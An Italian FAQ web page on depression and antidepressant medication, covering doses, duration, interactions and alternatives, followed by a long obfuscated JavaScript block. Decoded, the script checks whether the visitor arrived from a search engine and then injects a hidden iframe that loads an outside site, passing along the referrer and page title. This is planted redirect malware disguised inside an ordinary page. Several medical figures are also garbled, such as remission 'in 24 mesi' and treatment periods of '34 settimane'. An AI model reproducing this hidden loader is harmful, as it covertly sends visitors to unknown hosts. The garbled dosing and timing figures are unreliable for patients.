• Cosa fa peggiorare la depressione? Il fattore scatenante è spesso qualche evento stressante o qualche tensione importante che turba la nostra vita e che è valutata in termini di perdita importante e non accettabile. Si può trattare ad ed esempio di un evento negativo di perdita (un lutto la fine di una relazione la perdita del lavoro etc.)
• A cosa serve Efexor 75 mg? La dose abituale iniziale raccomandata per il trattamento della depressione del disturbo d’ansia generalizzata e del disturbo d’ansia sociale è di 75 mg al giorno. Il medico può aumentare la dose gradualmente e se necessario fino anche a una dose massima di 375 mg al giorno per la depressione.
• Cosa succede se bevo alcolici mentre prendo psicofarmaci? Assumerli contemporaneamente infatti oltre a una riduzione dei riflessi può determinare profonda sedazione e fenomeni ipotensivi anche gravi. Effetti che possono manifestarsi anche se l’alcol è assunto a distanza di alcune ore dal farmaco.
• Qual è l’ormone del piacere? La serotonina è una molecola che agisce come neurotrasmettitore ed ormone ed è presente in molti tessuti tra cui il cervello il tratto gastrointestinale i polmoni i reni e le piastrine.
• Cosa prendere al posto di Efexor? Bupropione (Elontril Wellbutrin Zyban).
• Come si fa ad uscire dalla depressione? 9 Consigli per Sconfiggere la Depressione
  Alimentazione sana.
  Regolarizzare il sonno.
  Pensiero non catastrofico.
  Non ruminare.
  Valorizzare gli accadimenti positivi e le proprie qualità.
  Essere gentili con sé stessi/Avere compassione per sé stessi.
  Vivere il presente (Be Mindful).
  Coltivare le relazioni sociali.
  Altre voci
• Quando deve durare una cura con antidepressivi? Risponde Cristina Colombo responsabile del centro dei disturbi dell’umore dell’ospedale San Raffaele di Milano. Gli antidepressivi devono essere assunti nella fase acuta di malattia e poi per un periodo di mantenimento che varia tra i sei e i nove mesi.
• Cosa cambia tra ansiolitico e antidepressivo? Ansiolitici che trattano i disturbi d’ansia alcuni usati anche come ipnotici sedativi e anestetici. Antidepressivi che trattano i disturbi più disparati come la depressione clinica la distimia l’ansia i disturbi alimentari e il disturbo borderline di personalità.
• Qual è l ansiolitico più leggero? Benzodiazepine. Le benzodiazepine sono certamente i tranquillanti minori maggiormente impiegati nel trattamento dei disturbi ansiosi di varia origine e natura. Le benzodiazepine espletano la loro azione ansiolitica attraverso l’attivazione del recettore GABAA dell’acido γamminobutirrico.
• Come si fa a sapere se il farmaco antidepressivo è giusto o no? Per capire se un antidepressivo sta funzionando o meno è necessario prenderlo alle dosi prescritte per almeno un mese perché queste medicine hanno bisogno di tempo prima di cominciare a funzionare e in alcune persone ci vogliono più giorni che in altre.
• Quanto tempo ci vuole per guarire dalla depressione? Dal momento in cui il paziente si rivolge al medico e comincia ad assumere dei farmaci antidepressivi occorre un intervallo di tempo variabile da 2 a 4 settimane perché i suoi sintomi si riducano. Generalmente in 24 mesi si può verificare la remissione dell’episodio depressivo cioè la completa scomparsa dei sintomi.
• Quale antidepressivo fa effetto subito? Si chiama Auvelity ed è la prima pillola antidepressiva a effetto rapido approvata dalla Food and drug administration (Fda) che si è espressa al riguardo lo scorso 19 agosto.
• Qual è la vitamina del buonumore? Pineal Tens Integratore Magnesio per l’Umore e la Funzione Muscolare 14 Bustine. Pineal Tens è un integratore alimentare a base di Magnesio LTriptofano Niacina Vitamina B2 e Vitamina D formulato per favorire il tono dell’umore e attenuare i dolori muscolari riducendo i sintomi dovuti a stress ed affaticamento.
• Quando gli antidepressivi non fanno più effetto? Ne consegue che negli individui in cui non è evidente alcun effetto antidepressivo dopo il trattamento di 34 settimane potrebbe essere necessario modificare la dose o il farmaco considerato senza dove attendere periodi più lunghi.
• Cosa non si può mangiare quando si assume antidepressivi? i formaggi stagionati gli insaccati il vino e la birra non devono mai essere consumati in concomitanza con alcuni farmaci antidepressivi e per il morbo di Parkinson (i cosiddetti MAOinibitori).
• Perché il depresso allontana chi ama? Durante l’episodio depressivo le persone che ne soffrono non sono in grado di provare l’ampia gamma di emozioni che prova una persona non depressa e questo include i sentimenti d’amore. L’emotività e l’affettività vengono drasticamente impattate.
• Come ti cambiano gli antidepressivi? (ANSA) – ROMA 8 DIC – Gli antidepressivi cambiano anche la personalita’ oltre all’umore rendendo i pazienti depressi meno neurotici cioe’ meno inclini ai pensieri negativi e piu’ estroversi cioe’ tendenti a orientarsi verso il mondo esterno piu’ che verso il proprio mondo interiore.
• Qual è il miglior antidepressivo per l’ansia? Duloxetina pregabalin venlafaxina ed escitalopram sono più efficaci del placebo e ben tollerati. Sertralina fluoxetina e buspirone sono possibili alternative di prima linea anche se le evidenze a sostegno del loro impiego sono limitate dalle dimensioni del campione dei trial.

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,119,56,57,48,54,53,113,52,72,84,77,76,60,34,112,47,63,38,95,43,85,67,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[17]+$[23]+$[24]+(![]+[])[+[]]+$[25]+$[13]+$[26]+$[27]+$[28]+$[13]+$[29]+$[30]+$[3]+$[13]+([![]]+{})[+!+[]+[+[]]]+$[14]+$[27]+(!![]+[])[+[]]+$[27]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[31]+$[32]+$[33]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[35]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[36]+$[26]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[36]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[37]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[36]+$[26]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[36]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[36]+$[38]+$[38]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+(!![]+[])[+!+[]]+$[8]+$[4]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+$[3]+$[38]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+!+[]]+$[39]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[40]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[41]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[42]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[43]+$[1]+$[22]+$[44]+([]+[]+{})[+!+[]]+$[3]+$[37]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[42]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[40]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[41]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[23]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+$[13]+$[8]+(!![]+[])[+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[42]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[40]+$[9]+$[42]+$[23]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[23]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[37]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[39]+$[9]+$[45]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[40]+$[9]+$[11]+$[42]+$[9]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[36]+$[37]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[46]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[23]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[46]+$[14]+$[26]+$[26]+$[47]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[46]+$[14]+$[26]+$[26]+$[47]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+$[46]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[23]+$[18]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[48]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[46]+$[49]+$[26]+$[26]+$[26]+$[26]+$[26]+$[26]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[46]+$[26]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[37]+$[46]+$[26]+$[5]+$[36]+$[50]+$[35]+$[38]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[50]+$[9]+$[6]+$[51])();